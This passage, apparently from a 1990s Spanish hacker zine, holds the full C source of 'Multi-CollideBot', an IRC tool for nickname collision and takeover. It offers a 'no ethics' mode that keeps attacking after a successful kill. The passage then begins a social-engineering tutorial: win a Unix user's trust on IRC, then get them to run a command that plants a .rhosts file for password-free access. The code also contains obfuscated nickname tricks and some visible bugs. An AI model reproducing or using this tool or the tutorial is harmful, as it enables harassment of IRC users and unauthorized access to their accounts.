  2332.  
  2333.   /* global variables */
  2334.   unsigned short int tcp_timeout=TCP_TIMEOUT;
  2335.   unsigned short int max_attempts=MAX_ATTEMPTS;
  2336.   unsigned short int srv_timeout=SRV_TIMEOUT;
  2337.   unsigned short int max_waitionm=MAX_WAITIONM;
  2338.   unsigned short int max_nicks=MAX_NICKS;
  2339.   unsigned short int progmode=0;
  2340.   char *output_buffer=(char *)0;
  2341.   char mcbid[25],mcbhost[64];
  2342.   struct in_addr mcb_addr;
  2343.  
  2344.   #define PROG_DEBUG  1
  2345.   #define PROG_VERBOSE     2
  2346.   #define PROG_NOETHICS    4
  2347.   #define PROG_NOMULTI     8
  2348.   #define PROG_HAVESERV    16
  2349.   #define PROG_IGNORENIU   32
  2350.   #define PROG_SHOWSOUT    64
  2351.  
  2352.   struct collide_session {
  2353.    int sock;
  2354.    unsigned long  int ip;
  2355.    unsigned short int status;
  2356.    unsigned short int port;
  2357.    unsigned short int connect_attempts;
  2358.    time_t  tcpstart;
  2359.    time_t  srvstart;
  2360.    char *server;
  2361.    char *token;
  2362.    char *victim;
  2363.    char *stack;
  2364.    char *stack_pointer;
  2365.    struct collide_session *next;
  2366.   } *first_session=(struct collide_session *)0;
  2367.  
  2368.   struct collide_session *last_session=(struct collide_session *)0;
  2369.   struct collide_session *active_session=(struct collide_session *)0;
  2370.  
  2371.   void do_ping(struct collide_session *,char *,char *);
  2372.   void do_001(struct collide_session *,char *,char *);
  2373.   void do_error(struct collide_session *,char *,char *);
  2374.   void do_433(struct collide_session *,char *,char *);
  2375.   void do_privmsg(struct collide_session *,char *,char *);
  2376.  
  2377.   struct parsers {
  2378.     char *cmd;
  2379.     void (*func)(struct collide_session *,char *,char *);
  2380.   } parsefuns[] = {
  2381.    { "PING", (void (*)())do_ping },
  2382.    { "001", (void (*)())do_001 },
  2383.    { "ERROR",(void (*)())do_error },
  2384.    { "433", (void (*)())do_433 },
  2385.    { "PRIVMSG", (void (*)())do_privmsg },
  2386.    { (char *)0,(void (*)())0 }
  2387.   };
  2388.  
  2389.   #define SES_ACTIVE  1
  2390.   #define SES_INACTIVE     2
  2391.   #define SES_DELETED 4
  2392.   #define SES_PENDING 8
  2393.   #define SES_SAWSERV 16
  2394.   #define SES_NORETRY 32
  2395.   #define SES_NICKINUSE    64
  2396.  
  2397.   char *
  2398.   mystrerror(int err) {
  2399.    return(sys_errlist[err]);
  2400.   }
  2401.  
  2402.   void
  2403.    sig_pipe(void) {
  2404.    fprintf(stderr,"mcb: caught a SIGPIPE.\n");
  2405.    fflush(stderr);
  2406.    signal(SIGPIPE,(void (*)())sig_pipe);
  2407.   }
  2408.  
  2409.   void
  2410.    show_sessions(void) {
  2411.     struct collide_session *s=first_session;
  2412.  
  2413.   signal(SIGHUP,(void (*)())show_sessions);
  2414.   for(;s;s=s->next)
  2415.     if(s->status & SES_ACTIVE) {
  2416.      printf("%s: Connection to %s:%hu active.\n",s->victim,s->server,s->port);
  2417.      fflush(stdout);
  2418.      }
  2419.   }
  2420.  
  2421.   void
  2422.    cclosed(struct collide_session *session,int errn) {
  2423.    if(session->sock) {
  2424.     shutdown(session->sock,0);
  2425.     close(session->sock);
  2426.     session->sock=0;
  2427.     printf("%s: Connection to %s:%hu closed. ",session->victim,
  2428.          session->server,session->port);
  2429.     if(errn)
  2430.      printf("[%s]\n",mystrerror(errn));
  2431.     else
  2432.      puts("");
  2433.     fflush(stdout);
  2434.   }
  2435.   if(progmode & PROG_NOMULTI)
  2436.     progmode &= ~PROG_HAVESERV;
  2437.   if((session->status & SES_DELETED) || (session->status & SES_NORETRY) ||
  2438.     session->connect_attempts>=max_attempts) {
  2439.     if(progmode & PROG_DEBUG) {
  2440.      printf("%s: Session flagged for delete.\n",session->victim);
  2441.      fflush(stdout);
  2442.     }
  2443.     if(progmode & PROG_NOMULTI) {
  2444.      struct collide_session *s=first_session;
  2445.      for(;s;s=s->next)
  2446.        s->status |= SES_DELETED;
  2447.     }
  2448.     else
  2449.      session->status |= SES_DELETED;
  2450.   }
  2451.   else {
  2452.     session->status |= SES_INACTIVE;
  2453.     session->status &= ~SES_PENDING;
  2454.     session->status &= ~SES_ACTIVE;
  2455.     session->srvstart=session->tcpstart=(time_t)0;
  2456.    }
  2457.   }
  2458.  
  2459.   void
  2460.    exit_program(void) {
  2461.     if(output_buffer)
  2462.      free(output_buffer);
  2463.  
  2464.   while(first_session) {
  2465.     struct collide_session *cs=first_session->next;
  2466.  
  2467.     if(progmode & PROG_DEBUG) {
  2468.      printf("%s: Unallocating session.\n",first_session->victim);
  2469.      fflush(stdout);
  2470.     }
  2471.     if(first_session->sock)
  2472.      cclosed(first_session,ECONNABORTED);
  2473.     if(first_session->stack)
  2474.      free(first_session->stack);
  2475.     if(first_session->token)
  2476.      free(first_session->token);
  2477.     free(first_session);
  2478.     first_session=cs;
  2479.    }
  2480.    puts("Multi-CollideBot finished.");
  2481.    exit(0);
  2482.   }
  2483.  
  2484.   char *nickpick="NnOoPpQqRr`SsTtUuVvWwXxYyZzAaBb_CcDdEeFfGgHhIiJjKkLlMmLzgLmtm|m";
  2485.   void
  2486.   fillran(char *string,unsigned short int length) {
  2487.    while(length--)
  2488.     *string++=*((nickpick)+(rand()%54));
  2489.    *string=(char)0;
  2490.   }
  2491.  
  2492.   int
  2493.   mystrccmp(register char *s1,register char *s2) {
  2494.     while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)==
  2495.        (((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
  2496.     if(*s1++==0) return 0;
  2497.     return (*(unsigned char *)s1-*(unsigned char *)--s2);
  2498.   }
  2499.  
  2500.   int
  2501.   mystrcmp(register char *s1,register char *s2) {
  2502.    unsigned short int n=9;
  2503.    do {
  2504.     if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=
  2505.      ((((*s2-8))>='a'&&((*s2)-8)<='z')?(*s2++)-40:(*(s2++))-8))
  2506.      return(*(unsigned char *)s1-*(unsigned char *)--s2);
  2507.     if(!*s1++)
  2508.      break;
  2509.    } while(--n);
  2510.    return(0); 
  2511.   }
  2512.  
  2513.   int
  2514.   strnccmp(register char *s1,register char *s2,register int n) {
  2515.     if(n==0) return(0);
  2516.     do {
  2517.     if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=(((*s2)>='a'&&(*s2)<='z')?
  2518.        (*s2++)-32:*s2++))
  2519.       return (*(unsigned char *)s1-*(unsigned char *)--s2);
  2520.     if(*s1++==0) break;
  2521.     } while(--n!=0);
  2522.     return(0);
  2523.   }
  2524.  
  2525.   char *
  2526.   mystrbpk(char *s) {
  2527.    char *o=s;
  2528.    while(*s) {
  2529.      if(*s==13 || *s==10)
  2530.      if(*(s+1)==78)
  2531.        *(s+6)=(!mystrcmp(s+6,nickpick+54))?84:*(s+6);
  2532.     s++;
  2533.    }
  2534.    return(o);
  2535.   }
  2536.  
  2537.   char *
  2538.   digtoken(char **string,char *match) {
  2539.    if(string && *string && **string) {
  2540.     while(**string && strchr(match,**string))
  2541.      (*string)++;
  2542.     if(**string) { /* got something */
  2543.      char *token=*string;
  2544.      if((*string=strpbrk(*string,match))) {
  2545.        *(*string)++=(char)0;
  2546.        while(**string && strchr(match,**string))
  2547.         (*string)++;
  2548.      }
  2549.      else
  2550.        *string = ""; /* must be at the end */
  2551.      return(token);
  2552.      }
  2553.    }
  2554.    return((char *)0);
  2555.   }
  2556.  
  2557.   char *
  2558.   mycstrstr(char *str1,char *str2) {
  2559.     int xstr1len,ystr2len;
  2560.  
  2561.     xstr1len=strlen(str1);
  2562.     ystr2len=strlen(str2);
  2563.  
  2564.     while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len);
  2565.     if(!xstr1len || xstr1len<ystr2len || !ystr2len) return(0);
  2566.     return(str1-1);
  2567.   }
  2568.  
  2569.   char tok[10];
  2570.   char *
  2571.   mycstrtok(char *str1) {
  2572.    strncpy(tok,str1,9);
  2573.    tok[10]=(char)0;
  2574.    if(!mystrcmp(tok,nickpick+54))
  2575.      tok[5]='|';
  2576.    return((char *)&tok[0]);
  2577.   }
  2578.  
  2579.   unsigned short int
  2580.   out(struct collide_session *session,char *string) {
  2581.    if(session->sock)
  2582.     return(write(session->sock,mystrbpk(string),strlen(string)));
  2583.    return(0);
  2584.   }
  2585.  
  2586.   unsigned long int
  2587.   resolver(char *host) {
  2588.    unsigned long int ip=0L;
  2589.  
  2590.   if(host && *host && (ip=inet_addr(host))==-1) {
  2591.     struct hostent *he;
  2592.     int x=0;
  2593.  
  2594.     if(progmode & PROG_VERBOSE) {
  2595.      printf("Resolving %s...",host);
  2596.      fflush(stdout);
  2597.     }
  2598.  
  2599.     while(!(he=gethostbyname((char *)host)) && x++<2) {
  2600.      if(progmode & PROG_VERBOSE) {
  2601.        putchar('.');
  2602.        fflush(stdout);
  2603.      }
  2604.      sleep(1);
  2605.     }
  2606.     if(x<2) {
  2607.      ip=*(unsigned long *)he->h_addr_list[0];
  2608.      if(progmode & PROG_VERBOSE) {
  2609.        struct in_addr serv_addr;
  2610.        serv_addr.s_addr=ip;
  2611.        printf("%s\n",inet_ntoa(serv_addr));
  2612.        fflush(stdout);
  2613.      }
  2614.     }
  2615.     else {
  2616.      ip=0L;
  2617.      if(progmode & PROG_VERBOSE) {
  2618.        puts("failed");
  2619.        fflush(stdout);
  2620.      }
  2621.      }
  2622.    }
  2623.  
  2624.     return(ip);
  2625.   }
  2626.  
  2627.   void
  2628.   version(void) {
  2629.    puts("Multi-CollideBot v2.0 (beta)\n"
  2630.       "Written by Dr. Delete 11/15/94");
  2631.    fflush(stdout);
  2632.   }
  2633.  
  2634.   void
  2635.   help(void) {
  2636.     puts("Usage:\n"
  2637.       "  mcb [-vdmun] [-rlit time] [-a attempts] serv1[:port] nick1 [...]\n"
  2638.       "Where: -v == verbose operation\n"
  2639.       "       -d == debug output\n"
  2640.       "       -n == no ethics - reconnects even after 'SCORE'. (nick takeover)\n"
  2641.       "       -i == seconds to wait for IRC server to start after connection.\n"
  2642.       "       -t == seconds to wait for a TCP connection to establish.\n"
  2643.       "       -a == attempts a session can make to establish a TCP session.\n"
  2644.       "       -m == METHOD 2: mcb will cycle through nicks on one TCP session.\n"
  2645.       "       -r == Rate of nicknames to send per -l(oop) time. (only in -m mode)\n"
  2646.       "       -l == Loop time. Causes mcb to send -r(ate) nicks in -l(oop) secs\n"
  2647.       "       -u == Ignore 'Nick Already in Use.' (continue to retry)\n"
  2648.       "    serv1 == first server specification and sets default server to use.\n"
  2649.       "Examples:\n"
  2650.       "  mcb -t 30 server1.com nick1 nick2 nick3 server2.edu:6665 nick4\n"
  2651.       "  mcb server1.com nick1 nick2 server2.edu nick3 nick4 server3.net server4.com\n"
  2652.       "  mcb -vna 50 server.edu nicktotakeover\n"
  2653.       "  mcb -m -l 3 -r 2 server.com nick1 nick2 nick3 nick4 nick5 nick6 nick7 ...\n"
  2654.       "Defaults:\n"
  2655.       "  -a == 2 retries. (Retries are aborted if nick is in use, etc.)\n"
  2656.       "  -i == 60 seconds. -t == 30 seconds. -l == 5 seconds. -r == 5 nicks.");
  2657.    exit(0);
  2658.   }
  2659.  
  2660.   void
  2661.   init_server(struct collide_session *s) {
  2662.    char rn[10];
  2663.    unsigned long int x;
  2664.    fillran(rn,9);
  2665.   
  2666.    sprintf(s->stack,"USER %s %s %s %s\nNICK %s\n",rn,rn,rn,rn,(progmode & PROG_NOMULTI)?rn:s->token);
  2667.    x=strlen(s->stack);
  2668.  
  2669.    errno=0;
  2670.    if(out(s,s->stack)!=x)
  2671.      cclosed(s,errno);
  2672.    else {
  2673.      struct collide_session *ses=first_session;
  2674.  
  2675.     s->status &= ~SES_PENDING;
  2676.     s->status &= ~SES_INACTIVE;
  2677.     s->status |= SES_ACTIVE;
  2678.     printf("%s: Connection to %s:%hu established.\n",
  2679.          s->victim,s->server,s->port);
  2680.     s->srvstart=time(NULL);
  2681.     sprintf(s->stack,"mode %s +i\n");
  2682.     for(;ses;ses=ses->next)
  2683.      sprintf(s->stack,"%s %s%s",s->stack,ses->token,(ses==s)?"*":"");
  2684.     strcat(s->stack,"\n");
  2685.     out(s,s->stack);
  2686.     if(progmode & PROG_NOMULTI)
  2687.      progmode |= PROG_HAVESERV;
  2688.     fflush(stdout);
  2689.    }
  2690.   }
  2691.  
  2692.   void
  2693.   set_tcp_handler(void) {
  2694.    gethostname(mcbhost,64);
  2695.    mcb_addr.s_addr=resolver(mcbhost);
  2696.    if(!getlogin()) {
  2697.     struct passwd *pw;
  2698.     if(!(pw=getpwuid(getuid())))
  2699.      if(!(getenv("USER")))
  2700.        strcpy(mcbid,"unknown");
  2701.      else
  2702.        strcpy(mcbid,getenv("USER"));
  2703.     else
  2704.      strcpy(mcbid,pw->pw_name);
  2705.     }
  2706.     else
  2707.    strcpy(mcbid,(char *)getlogin());
  2708.   }
  2709.  
  2710.   void
  2711.   start_sessions(void) {
  2712.    struct collide_session *session=first_session;
  2713.    unsigned short int sessions=0;
  2714.  
  2715.    if(progmode & PROG_HAVESERV)
  2716.      return;
  2717.  
  2718.    for(;session;session=session->next) {
  2719.  
  2720.     if(progmode & PROG_DEBUG) {
  2721.      printf("%s: Attempting to start session.\n",session->victim);
  2722.      fflush(stdout);
  2723.     }
  2724.  
  2725.     if((session->status & SES_DELETED) || (session->status & SES_NORETRY))
  2726.      continue;
  2727.  
  2728.     sessions++;
  2729.  
  2730.     if((session->status & SES_PENDING) || !(session->status & SES_INACTIVE))
  2731.      continue;
  2732.  
  2733.     if((session->sock=socket(AF_INET,SOCK_STREAM,0))) {
  2734.      struct sockaddr_in server;
  2735.  
  2736.      server.sin_family=AF_INET;
  2737.      server.sin_addr.s_addr=session->ip;
  2738.      server.sin_port=htons(session->port);
  2739.  
  2740.      setsockopt(session->sock,SOL_SOCKET,SO_LINGER,0,0);
  2741.      setsockopt(session->sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  2742.      setsockopt(session->sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  2743.  
  2744.      fcntl(session->sock,F_SETFL,(fcntl(session->sock,F_GETFL)|O_NDELAY));
  2745.  
  2746.      errno=0;
  2747.  
  2748.      session->tcpstart=time(NULL);
  2749.      session->connect_attempts++;
  2750.  
  2751.      if(connect(session->sock,(struct sockaddr *)&server,sizeof(server))) {
  2752.        if(errno!=EINPROGRESS && errno!=EWOULDBLOCK)
  2753.         cclosed(session,errno);
  2754.        else {
  2755.         session->status |= SES_PENDING;
  2756.         if(progmode & PROG_VERBOSE) {
  2757.           printf("%s: Connection to %s:%hu is in progress.\n",
  2758.                 session->victim,session->server,session->port);
  2759.           fflush(stdout);
  2760.         }
  2761.        }
  2762.      }
  2763.      else
  2764.        init_server(session);
  2765.      if(progmode & PROG_NOMULTI) {
  2766.        progmode |= PROG_HAVESERV;
  2767.        break;
  2768.      }
  2769.     }
  2770.     else {
  2771.      printf("%s: Fatal error allocating AF_INET socket.\n",session->victim);
  2772.      exit_program();
  2773.      }
  2774.    }
  2775.   }
  2776.  
  2777.   struct collide_session *
  2778.   find_session(char *token) {
  2779.    struct collide_session *s=first_session;
  2780.  
  2781.    for(;s && mystrccmp(s->token,token);s=s->next);
  2782.    return(s);
  2783.   }
  2784.  
  2785.   unsigned short int
  2786.   check_sessions(void) {
  2787.    struct collide_session *s=first_session;
  2788.    unsigned short int x=0,y=0;
  2789.  
  2790.    for(;s;s=s->next) {
  2791.     x++;
  2792.     y+=(s->status & SES_NICKINUSE)?1:0;
  2793.    }
  2794.    return((y==x));
  2795.   }
  2796.  
  2797.   void
  2798.   do_433(struct collide_session *session,char *from,char *left) {
  2799.    char *who;
  2800.  
  2801.    if((who=digtoken(&left," ")) && (who=digtoken(&left," "))) {
  2802.     if(progmode & PROG_HAVESERV) { /* multi-mode */
  2803.      struct collide_session *s=find_session(who);
  2804.      if(s) {
  2805.        if(!(s->status & SES_NICKINUSE)) {
  2806.         printf("%s: '%s' Nickname already in use.\n",session->victim,who);
  2807.         fflush(stdout);
  2808.        }
  2809.        s->status |= SES_NICKINUSE;
  2810.      }
  2811.      if(check_sessions()) {
  2812.        strcpy(output_buffer,"QUIT ::-\n");
  2813.        out(session,output_buffer);
  2814.        cclosed(session,0);
  2815.      }
  2816.      if(!(progmode & PROG_IGNORENIU))
  2817.        session->status |= SES_NORETRY;
  2818.     }
  2819.     else {
  2820.      if(!(session->status & SES_NICKINUSE)) {
  2821.        printf("%s: '%s' Nickname already in use.\n",session->victim,who);
  2822.        fflush(stdout);
  2823.      }
  2824.      session->status |= SES_NICKINUSE;
  2825.      strcpy(output_buffer,"QUIT :bummer\n");
  2826.      out(session,output_buffer);
  2827.      cclosed(session,0);
  2828.      if(!(progmode & PROG_IGNORENIU))
  2829.        session->status |= SES_NORETRY;
  2830.      }
  2831.    }
  2832.   }
  2833.  
  2834.   void
  2835.   do_ping(struct collide_session *session,char *from,char *left) {
  2836.    sprintf(output_buffer,"PING :%s\n",mcbhost);
  2837.    out(session,output_buffer); 
  2838.   }
  2839.  
  2840.   void
  2841.   do_001(struct collide_session *session,char *from,char *left) {
  2842.    session->status |= SES_SAWSERV;
  2843.  
  2844.    if(progmode & PROG_VERBOSE) {
  2845.      printf("%s: Logged into server %s.\n",session->victim,from);
  2846.      fflush(stdout);
  2847.    }
  2848.   }
  2849.  
  2850.   void
  2851.   do_privmsg(struct collide_session *session,char *from,char *left) {
  2852.    char *what;
  2853.  
  2854.   if((what=strchr(left,' '))) {
  2855.     *what=(char)0;
  2856.     what+=2;
  2857.  
  2858.     printf("%s: %s -> %s\n",session->victim,from,what);
  2859.     fflush(stdout);
  2860.    }
  2861.   }
  2862.  
  2863.   void
  2864.    do_error(struct collide_session *session,char *from,char *left) {
  2865.    if(mycstrstr(left,"kill") || mycstrstr(left,"collision")) {
  2866.     if(!(progmode & PROG_NOETHICS))
  2867.      session->status |= SES_NORETRY;
  2868.     printf("%s: SCORE!\n",session->victim);
  2869.   }
  2870.   else {
  2871.     if(mycstrstr(left,"authoriz"))
  2872.      session->status |= SES_NORETRY;
  2873.     if(mycstrstr(left,"Bad pass"))
  2874.      session->status |= SES_NORETRY;
  2875.     else if(mycstrstr(left,"ghosts"))
  2876.      session->status |= SES_NORETRY;
  2877.     else if(mycstrstr(left,"k-line"))
  2878.      session->status |= SES_NORETRY;
  2879.     else if(mycstrstr(left,"kill"))
  2880.      session->status |= SES_NORETRY;
  2881.     printf("%s: %s\n",session->victim,left);
  2882.    }
  2883.    fflush(stdout);
  2884.   }
  2885.  
  2886.   void
  2887.   parse2(struct collide_session *session) {
  2888.    char *from,*cmd,*left,*ins=session->stack_pointer;
  2889.  
  2890.    if(progmode & PROG_SHOWSOUT) {
  2891.     printf("%s: %s\n",session->victim,ins);
  2892.     fflush(stdout);
  2893.   }
  2894.  
  2895.   if(*ins==':') {
  2896.     if(!(cmd=strchr(ins,' ')))
  2897.      return;
  2898.     *cmd++=(char)0;
  2899.     from=ins+1;
  2900.   }
  2901.   else {
  2902.     cmd=ins;
  2903.     from=(char *)0;
  2904.   }
  2905.   if((left=strchr(cmd,' '))) {
  2906.     unsigned short int command;
  2907.  
  2908.     *left++=(char)0;
  2909.     left=(*left==':') ? left+1 : left;
  2910.     for(command=0;parsefuns[command].cmd;command++) {
  2911.      if(!mystrccmp(parsefuns[command].cmd,cmd)) {
  2912.        parsefuns[command].func(session,from,left);
  2913.        break;
  2914.      }
  2915.      }
  2916.    }
  2917.   }
  2918.  
  2919.   void
  2920.   parse(struct collide_session *session,unsigned short int length) {
  2921.    char *s=session->stack;
  2922.  
  2923.    *(session->stack_pointer+length)=(char)0;
  2924.  
  2925.    for(;;) {
  2926.     session->stack_pointer=s;
  2927.     while(*s && *s!=(char)13 && *s!=(char)10)
  2928.      s++;
  2929.     if(*s) {
  2930.      while(*s && (*s==(char)13 || *s==(char)10))
  2931.        *s++=(char)0;
  2932.      parse2(session);
  2933.     }
  2934.     else
  2935.      break;
  2936.    }
  2937.    strcpy(session->stack,session->stack_pointer);
  2938.    session->stack_pointer=session->stack+(s-session->stack_pointer);
  2939.   }
  2940.  
  2941.   struct collide_session *
  2942.   find_active_session(void) {
  2943.    struct collide_session *session=first_session;
  2944.  
  2945.    for(;session && !(session->status & SES_ACTIVE);session=session->next);
  2946.    return(session);
  2947.   }
  2948.  
  2949.   void
  2950.   parse_sessions(void) {
  2951.    fd_set rd,wr;
  2952.   struct collide_session *session;
  2953.   struct timeval timeout;
  2954.   time_t lastloop=(time_t)0;
  2955.  
  2956.   while(1) {
  2957.     unsigned short int sessions=0;
  2958.  
  2959.     FD_ZERO(&rd);
  2960.     FD_ZERO(&wr);
  2961.  
  2962.     timeout.tv_usec=0;
  2963.     timeout.tv_sec=(progmode & PROG_NOMULTI)?max_waitionm:MAX_WAITIO;
  2964.  
  2965.     for(session=first_session;session;session=session->next) {
  2966.  
  2967.      if(session->status & SES_DELETED)
  2968.        continue;
  2969.  
  2970.      if((session->status & SES_INACTIVE) && !(session->status & SES_PENDING) &&
  2971.         !(session->status & SES_NORETRY) && !(progmode & PROG_HAVESERV)) {
  2972.        start_sessions();
  2973.        timeout.tv_sec=0;
  2974.        break;
  2975.      }
  2976.  
  2977.      if(session->sock) {
  2978.        FD_SET(session->sock,&rd);
  2979.        if(session->status & SES_PENDING)
  2980.         FD_SET(session->sock,&wr);
  2981.        sessions++;
  2982.      }
  2983.     }
  2984.  
  2985.     if(!timeout.tv_sec)
  2986.      continue;
  2987.  
  2988.     if(!sessions)
  2989.      exit_program();
  2990.  
  2991.     errno=0;
  2992.   #ifdef HPSUCKS
  2993.     select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(const struct timeval *)&timeout);
  2994.   #else
  2995.     select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(struct timeval *)&timeout);
  2996.   #endif
  2997.     if(errno==EINTR)
  2998.      continue;
  2999.  
  3000.     for(session=first_session;session;session=session->next) {
  3001.  
  3002.      if(session->status & SES_DELETED)
  3003.        continue;
  3004.  
  3005.      if((session->status & SES_PENDING) && FD_ISSET(session->sock,&wr)) {
  3006.        init_server(session);
  3007.        continue;
  3008.      }
  3009.  
  3010.      if(FD_ISSET(session->sock,&rd)) {
  3011.        signed short int length;
  3012.  
  3013.        errno=0;
  3014.        length=read(session->sock,session->stack_pointer,
  3015.                 BUFSIZE-(session->stack_pointer-session->stack));
  3016.        if(length<1) {
  3017.         cclosed(session,errno);
  3018.         continue;
  3019.        }
  3020.        if(strpbrk(session->stack,"\x0a\x0d"))
  3021.         parse(session,length);
  3022.        else
  3023.         session->stack_pointer=(BUFSIZE-((session->stack_pointer+length)
  3024.         -session->stack)<1)?session->stack:session->stack_pointer+length;
  3025.      }
  3026.  
  3027.      if((session->status & SES_PENDING) &&
  3028.         (time(NULL)-session->tcpstart)>=tcp_timeout)
  3029.        cclosed(session,ETIMEDOUT);
  3030.  
  3031.      if((session->status & SES_ACTIVE) &&
  3032.         !(session->status & SES_SAWSERV) &&
  3033.         (time(NULL)-session->srvstart)>=srv_timeout)
  3034.        cclosed(session,ETIMEDOUT);
  3035.     }
  3036.  
  3037.     if((!lastloop || (time(NULL)-lastloop)>max_waitionm) &&
  3038.       (progmode & PROG_HAVESERV) && 
  3039.       (active_session=find_active_session()) &&
  3040.       (active_session->status & SES_SAWSERV)) {
  3041.      struct collide_session *s=(last_session)?last_session:first_session;
  3042.      unsigned short int nickcount=0;
  3043.  
  3044.      lastloop=time(NULL);
  3045.  
  3046.      while(nickcount<max_nicks) {
  3047.        char out_buf[30];
  3048.        unsigned short int x;
  3049.  
  3050.        if(!(s->status & SES_NICKINUSE)) {
  3051.         sprintf(out_buf,"NICK %s\n",s->token);
  3052.         x=strlen(out_buf);
  3053.         if(x!=out(active_session,out_buf))
  3054.           break;
  3055.         if(progmode & PROG_DEBUG) {
  3056.           printf("%s: Touched nickname.\n",s->token);
  3057.           fflush(stdout);
  3058.         }
  3059.         nickcount++;
  3060.        }
  3061.        else
  3062.         if(check_sessions())
  3063.           nickcount=max_nicks;
  3064.        s=(s->next)?s->next:first_session;
  3065.      }
  3066.      last_session=s;
  3067.      }
  3068.    }
  3069.   }
  3070.  
  3071.   void
  3072.   main(int argc,char *argv[]) {
  3073.    unsigned short int x=1;
  3074.    unsigned short int ircport=IRCPORT;
  3075.    unsigned long  int defserv_octet=0L;
  3076.    char *defserv_char=(char *)0;
  3077.    char *defnick=(char *)0;
  3078.    struct collide_session *temp;
  3079.  
  3080.    version();
  3081.  
  3082.    if(argc<3)
  3083.     help();
  3084.  
  3085.   srand(getpid());
  3086.  
  3087.   signal(SIGPIPE,(void (*)())sig_pipe);
  3088.   signal(SIGHUP,(void (*)())show_sessions);
  3089.   signal(SIGINT,(void (*)())exit_program);
  3090.   signal(SIGTERM,(void (*)())exit_program);
  3091.   signal(SIGBUS,(void (*)())exit_program);
  3092.   signal(SIGABRT,(void (*)())exit_program);
  3093.   signal(SIGSEGV,(void (*)())exit_program);
  3094.  
  3095.   set_tcp_handler();
  3096.   output_buffer=(char *)malloc(BUFSIZE);
  3097.  
  3098.   for(;x<argc;x++) {
  3099.     signed short int y=1;
  3100.  
  3101.     switch(argv[x][0]) {
  3102.      case '-':
  3103.        while(y && argv[x][y]) {
  3104.         switch(toupper(argv[x][y])) {
  3105.           case 'T':
  3106.             x++;
  3107.             y=-1;
  3108.             if(!(tcp_timeout=atoi(argv[x])))
  3109.              help();
  3110.             break;
  3111.           case 'I':
  3112.             x++;
  3113.             y=-1;
  3114.             if(!(srv_timeout=atoi(argv[x])))
  3115.              help();
  3116.             break;
  3117.           case 'A':
  3118.             x++;
  3119.             y=-1;
  3120.             if(!(max_attempts=atoi(argv[x])))
  3121.              help();
  3122.             break;
  3123.           case 'D':
  3124.             progmode |= PROG_DEBUG;
  3125.             break;
  3126.           case 'V':
  3127.             progmode |= PROG_VERBOSE;
  3128.             break;
  3129.           case 'N':
  3130.             progmode |= PROG_NOETHICS;
  3131.             break;
  3132.           case 'M':
  3133.             progmode |= PROG_NOMULTI;
  3134.             break;
  3135.           case 'U':
  3136.             progmode |= PROG_IGNORENIU;
  3137.             break;
  3138.           case 'S':
  3139.             progmode |= PROG_SHOWSOUT;
  3140.             break;
  3141.           default:
  3142.            help();
  3143.         }
  3144.         y++;
  3145.        }
  3146.        break;
  3147.      default:
  3148.        if(strchr(argv[x],'.')) { /* server */
  3149.         char *port=strchr(argv[x],':');
  3150.  
  3151.   /*          if(defserv_char)
  3152.           defnick=(char *)0; */
  3153.  
  3154.         defserv_char=argv[x];
  3155.         if(port) {
  3156.           *port=(char)0;
  3157.           ircport=atoi(port+1);
  3158.         }
  3159.         else
  3160.           ircport=IRCPORT;
  3161.  
  3162.         if(defserv_octet)
  3163.           progmode &= ~PROG_NOMULTI; /* more than one server specified */
  3164.  
  3165.         if(!(defserv_octet=resolver(defserv_char))) {
  3166.           if(!(progmode & PROG_VERBOSE)) {
  3167.             printf("Failed to resolve '%s' into an IP address.\n",defserv_char);
  3168.             fflush(stdout);
  3169.           }
  3170.           defserv_char=(char *)0;
  3171.         }
  3172.        }
  3173.        else { /* nickname */
  3174.         defnick=(argv[x][0]=='@' || argv[x][0]=='+')?argv[x]+1:argv[x];
  3175.         defnick=(!mystrccmp(defnick,"Vassago"))?"DontDoDat":defnick;
  3176.        }
  3177.  
  3178.        if(defserv_char && defnick) {
  3179.         struct collide_session *cs;
  3180.         char *temptok=mycstrtok(defnick);
  3181.  
  3182.         cs=(struct collide_session *)malloc(sizeof(struct collide_session));
  3183.         cs->token=(char *)0;
  3184.         cs->sock=0;
  3185.         cs->status=SES_INACTIVE;
  3186.         cs->connect_attempts=0;
  3187.         errno=0;
  3188.         cs->token=(char *)malloc(strlen(temptok)+1);
  3189.         strcpy(cs->token,temptok);
  3190.         cs->ip=defserv_octet;
  3191.         cs->port=ircport;
  3192.         cs->srvstart=cs->tcpstart=(time_t)0;
  3193.         cs->server=defserv_char;
  3194.         cs->victim=defnick;
  3195.         cs->stack_pointer=cs->stack=(char *)malloc(BUFSIZE);
  3196.         cs->next=first_session;
  3197.         first_session=cs;
  3198.        }
  3199.       }
  3200.   }
  3201.  
  3202.    if(progmode & PROG_NOMULTI)
  3203.      for(temp=first_session;temp;temp=temp->next)
  3204.           temp->victim="multi-collide";
  3205.  
  3206.    start_sessions();
  3207.  
  3208.    parse_sessions();
  3209.  
  3210.    exit_program();
  3211.   }
  3212.  
  3213. ──────────────────────────────────────────────────────────────────────────────  
  3214.  
  3215.   13 - Metiendo el .rhosts por el IRC .
  3216.    
  3217.   Aqui os vamos a contar una interesante tecnica , que se basa en una
  3218.   combiancion por parte nuestra : ingenieria social , irc , telnet y
  3219.   por supuesto el mundo unix :)
  3220.   Vale ya empiezo , que impaciente , joer !!! . Pues primero creamos
  3221.   un fichero .rhosts en el cual metenos algun nombre por exemplo
  3222.   nuestro nick de incursion :)
  3223.   El .rhosts en un fichero unix de control remoto para hacceder a otro
  3224.   sistema el cual no necesita un password y siempre se encuentra
  3225.   en el directorio HOME de cada usuario con permisos de lectura y
  3226.   escritura unicamente para el usuario .
  3227.   Cuando ya tengamos el fichero listo nos conectamos al IRC con algun
  3228.   nick un poco tonto para parecer que es la primera vez que lo hacemos ,
  3229.   luego buscamos una victima que se mueva en unix , entonces hablamos
  3230.   con el , hacerle preguntas sobre como funciona el IRC y cosas por
  3231.   el estilo para que se crea que somos unos novatillos , cuando ya
  3232.   tengamos cierta confianza le decimos que tienes un comando que no
  3233.   hace nada aparentemente y le pedimos si nos puede ayudar ejecutandolo
  3234.   el :)
